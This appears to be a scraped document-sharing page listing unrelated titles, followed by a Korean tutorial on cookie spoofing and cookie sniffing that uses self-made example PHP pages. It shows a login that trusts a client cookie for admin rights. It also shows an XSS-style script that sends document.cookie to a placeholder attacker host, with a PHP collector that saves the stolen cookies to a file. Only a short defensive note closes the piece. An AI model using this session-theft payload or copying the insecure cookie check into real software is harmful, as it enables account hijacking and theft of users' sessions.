Cookie Spoofing.hwp

Similar documents
PHP & ASP

SK Telecom Platform NATE

쉽게 풀어쓴 C 프로그래밍

하둡을이용한파일분산시스템 보안관리체제구현

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

PHP & ASP

[ 네이버마일리지 ] 디자인셋팅매뉴얼 1. 장바구니페이지에네이버마일리지안내추가 - 위치 : HTML 디자인설정 > 장바구니 > 장바구니주문목록 {{$c_3}} [ 편집 ] 버튼클릭 > HTML 편집탭으로이동 > 여러개의장바구니모두결제버튼 {u9} [ 편집 ] 버튼클릭하

이장에서다룰내용 테두리를제어하는스타일시트 외부여백 (Margin) 과내부여백 (Padding) 관련속성 위치관련속성 2

Microsoft PowerPoint 세션.ppt

Javascript

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션


Data Provisioning Services for mobile clients

PowerPoint Template

PowerPoint 프레젠테이션

2009년 상반기 사업계획

Data Provisioning Services for mobile clients

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

HTML5

쉽게 풀어쓴 C 프로그래밍

<4D F736F F F696E74202D203130C0E52EBFA1B7AF20C3B3B8AE205BC8A3C8AF20B8F0B5E55D>

쉽게 풀어쓴 C 프로그래밍

Windows 8에서 BioStar 1 설치하기

1차내지

최종보고서 데이터베이스의취약점분석과해결책 제출일자 : 2012년 5월 00일과목명 : 캡스톤디자인팀명 : DIS 팀장 : 강연준팀원 : 강연준 조응철담당교수 : 양환석교수님

PowerPoint 프레젠테이션


PowerPoint 프레젠테이션

Javascript.pages

PowerPoint 프레젠테이션

미쓰리 파워포인트

쉽게 풀어쓴 C 프로그래밍

Javascript

untitled

Ext JS À¥¾ÖÇø®ÄÉÀ̼ǰ³¹ß-³¹Àå.PDF

Secure Programming Lecture1 : Introduction

Javascript

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

쉽게 풀어쓴 C 프로그래밍

Microsoft Word - Windows_apahce_php_CUBRID2008

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

Microsoft Word - junior.docx

Data Provisioning Services for mobile clients

C스토어 사용자 매뉴얼

(Microsoft PowerPoint - 9\300\345.ppt [\310\243\310\257 \270\360\265\345])

EDB 분석보고서 (04.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

<3033B0AD D4C5F584D4C5FC0CEC5CDB3DDBAB8C3E6C7D0BDC0C0DAB7E12E687770>

<4D F736F F D20BAB8BEC8BCADB9F620BCD2BDBA20BCF6C1A420BBE7BFEBC0DA20B8DEB4BABEF32E646F63>

로거 자료실

IP Cam DDNS 설정설명서(MJPEG) hwp

쉽게 풀어쓴 C 프로그래밍

PowerPoint 프레젠테이션

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

C H A P T E R 2

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

JSP 의내장객체 response 객체 - response 객체는 JSP 페이지의실행결과를웹프라우저로돌려줄때사용되는객체이다. - 이객체는주로켄텐츠타입이나문자셋등의데이터의부가정보 ( 헤더정보 ) 나쿠키 ( 다음에설명 ) 등을지정할수있다. - 이객체를사용해서출력의방향을다른

Microsoft PowerPoint 웹 연동 기술.pptx

INDEX 들어가기 고민하기 HTML(TABLE/FORM) CSS JS

chap 5: Trees

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

PowerPoint Presentation

Microsoft PowerPoint - aj-lecture1-HTML-CSS-JS.ppt [호환 모드]

혼자서일을다하는 JSP. 이젠일을 Servlet 과나눠서한다. JSP와서블릿의표현적인차이 - JSP는 <html> 내에서자바를사용할수있는수단을제공한다. - 서블릿은자바내에서 <html> 을작성할수있는수단을제공한다. - JSP나서블릿으로만웹페이지를작성하면자바와다양한코드가

MySQL-Ch05

chapter6.doc

02 장. 글꼴문단지정하기 이번장에서는스타일시트속성중에서글꼴과관련한속성과문단에관련된속성을살펴보도록하자.

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

PowerPoint 프레젠테이션

AMP는 어떻게 빠른 성능을 내나.key

PowerPoint Template

»ç¿ëÀÚ¸Þ´º¾ó

Dialog Box 실행파일을 Web에 포함시키는 방법

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft PowerPoint Python-WebDB

Lab1

PowerPoint 프레젠테이션

/chroot/lib/ /chroot/etc/

PowerPoint 프레젠테이션

쉽게 풀어쓴 C 프로그래밍

PowerPoint 프레젠테이션

C++ Programming

Overall Process

<4D F736F F F696E74202D20B5A5C0CCC5CDBAA3C0CCBDBA5F3130C1D6C2F75F31C2F7BDC32E >

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

Microsoft PowerPoint - web-part01-ch10-문서객체모델.pptx

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

슬라이드 1

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

아래 항목은 최신( ) 이미지를 모두 제대로 설치하였을 때를 가정한다

±¹Á¦ÆòÈŁ4±Ç1È£-ÃÖÁ¾

EBS-PDF컴퓨터일반-07-오

Transcription:

Cookie Spoofing&Sniffing By Maxoverpro[max]( 장상근) maxoverpro@empal.com http://www.maxoverpro.org 1. 서론 이문서는 Cookie Spoofing 과 Sniffing 에대해정석적인방법을이야기하도록하며또 한어느특정곳의취약점을설명하지않고직접제작한예제를가지고 Cookie Spoofing 과 Sniffing 이라무엇인가를이야기하도록하겠다. Cookie란 WEB Server측에서 Login과같은인증을받고유지시켜주기위해필요로된 다. 예를내가쇼핑몰에물건을사려고한다면그사이트에로그인을하고물건을고르고내 장바구니에물건을담을수있다. 그리고다른사이트를잠시들어갔다와도로그인후장바 구니에있던물건의정보는그대로남아있고로그인이계속유지되어져있는상태를볼수 있다. 이건즉 Cookie 라는것을사용해그세션을계속유지시켜주기때문이다. 간략히말 해서로그인을해야만볼수있는페이지가있다. 그런데다른페이지를보기위해계속로그 인을해야하는작업들을 Cookie를통해계속로그인된상태를유지해주는것이 Cookie이 다. 하지만,Cookie 라는것은정보의집합체이기때문에정보의유출, 정보의조작이가능할 수있는문제가있다. 잘못만들어진사이트나쓸때없는개인적인정보를 Cookie에넣고 있다면커다란문제가된다. 이러한문제가존재하는가운데 Cookie Spoofing 과 Sniffing라 는취약점을노리는기술이나오게되었다. 그러면 Cookie Spoofing 과 Sniffing은어떤식 으로해야되는지임의로제작된스크립트를통해알아보도록하겠다. 기타환경조건(html 도 php 로된다.) 첫번째방법으로 Cookie Spoofing 에대해서설명하도록하겠다. 2. 본론 아래는로그인을하고들어갈수있는폼이다. - 1 -

login.php <html> <head> <title>login</title> <style> INPUT {border:1x solid 'black';background-color:white; font-size:12px;color:black td { border-top-width:1;border-right-width:1; border-bottom-width:1;border-left-width:1; border-bottom-style:solid;border-right-style:solid; border-left-style:solid;border-top-style:solid; </style> </head> <center> <!-- 입력받은데이터를 login_check.html으로 get 형식으로보낸다.--> <form method="get" action="login_check.html"> <table width="200"> <td colspan=2 align=center bgcolor="#333333"> <font color="white" size=2><b>login</b></font> <td size="100" bgcolor="#333333"> <font color="white" size=2>id</font> <td> <input type=text name=ids> <td size=100 bgcolor="#333333"> <font color="white" size=2>password</font> <td> <input type=password name=pwd> - 2 -

<td colspan=2 bgcolor="#333333" align="right"> <input type=submit value="login"> </table> </form> </center> </body> </html> 위의 login.php 페이지에서 login_check.php 페이지로 ids(id), pwd(password) 의정보가 넘겨지게된다. 그럼 login_check.php 페이지의스크립트를보고설명을하도록하겠다. 참고로임의로만들었기때문에패스워드는그냥임의의값이들어오면인증되도록 만들었다. 보통데이터베이스에서정보를가져와확인을하게된다. login_check.php <? // id 가입력되었는지확인한다. if(!$ids) { window.alert('empty ID') history.go(-1) exit; // password 가입력되었는지확인한다. if(!$pwd) { window.alert('empty Password') history.go(-1) // 패스워드가 maxoverpro면인증을확인하고 id값을가지고 cookie 를만든다. if($pwd== "maxoverpro" ){ setcookie("okid",$ids); - 3 -

//cookie안에는 OKID로 id 가오게된다. location=\"confirm.html\"; else { window.alert('not Currect Password') history.go(-1) exit; exit;?> 그러면인증을확인이되었으면 confirm.php 라는곳으로넘어가게되는데이부분에서 cookie 의정보를가지고어떤사용자인지확인하고다른페이지를보여줄수있는 페이지라고가정하고 confirm.php 스크립트를보도록하겠다. confirm.php <? <html> <head> <title>who am i?</title> </head> <center> <br><br><br> <center><b>[ Confirmation State ]</b></center> <br> <font size=3> if($okid == "admin") { print $OKID; -> Admin User</font> - 4 -

else { print $OKID; -> Normal User</font> </body> </html> confirm.php에서는 cookie의 OKID 의정보를보고어떤사용자인지식별을하게된다. 만약 OKID가 admin 이라면관리자계정으로사용할수있고, 그렇지않을경우일반사용자 권한이떨어지게된다. 그럼위의정보를어떻게 Spoofing을할수있을까에대해서 알아보도록하겠다. 우린웹브라우저의주소창에 javascript:document.cookie 라는것을통해 cookie의정보를 확인할수있다. 그것을통해내가사용하는사이트에서는어떤방식과어떤정보를 cookie 가가지고있는지확인할수있다. 위의예제에서는정석적인것을이야기하는것이기때문에 cookie의내용이간단하지만보 통다른곳에서는상당히긴쿠키의정보를확인할수있다. 그런세세한것에대한것은 이문서에서다루지않도록하겠다. 그럼어떻게 cookie를 spoofing 하게하는지알아보겠다. 그냥알아보는차원에서간단하게정보를바꿔서 록하겠다. admin의권한으로떨어지는것을보도 실행한결과를보니 Admin User 로권한이떨어진것을보았다. - 5 -

다음은 cookie sniffing 에대해서알아보도록하겠다. Cookie sniffing은테그가허용되는곳에서사용한곳에서 cookie의정보를빼오는방법을 말한다. 즉악의적인스크립트를이용해서가능하다. 그럼예를들어임의로만든페이지에 접속할경우쿠키정보를어떻게 sniffing 을해서가져오는지보도록하겠다. myhome.php <html> <head> <title>my homepage</title> <script language=javascript> window.open("http://xxx.xxx.xxx.xxx/gco.php?ck="+document.cookie); </head> Hay~ KiN </body> </html> 위의페이지에접속할경우페이지를바꾸어 window.open안에들어있는사이트로접속하 게된다. 보면 gco.php로 cookie 의정보를넘겨주게된다. 주소창에보면흔적이남게되나 이를해결할수있는방법몇가지가있지만공개하지않도록하겠다. gco.php 은쿠키의정보를가져와저장시켜주는역할을하는스크립트이다. 그럼 gco.php 을보도록하겠다. gco.php <? $fp=fopen("/tmp/cinfo.txt","a++ fputs($fp,"$ck\n fclose($fp); - 6 -

<html><head> <title>my homepage</title> Hay~ KiN </body> </html> 이렇게해서 myhome.php에접속을하게되고 myhome.php에있는스크립트를통해 gco.html의 ck라는것으로 cookie 의정보가전달되고정보를저장하게된다. 3. 결론 위와같은방법이통하는것을보안하기위해서는기본적인 cookie 정보를암호화하거나 여러방법으로체크하는것이필요하다. 개인적으로취할수있는작은보안의식은 cookie 의정보를삭제하는방법이있다. 보통윈도우에서는 c:\windows\cookie 나개인폴더에 cookie 의정보가보관되는데그정보를삭제해쿠키의정보를아무에게나넘겨주지않도록 주의해야한다. - 7 -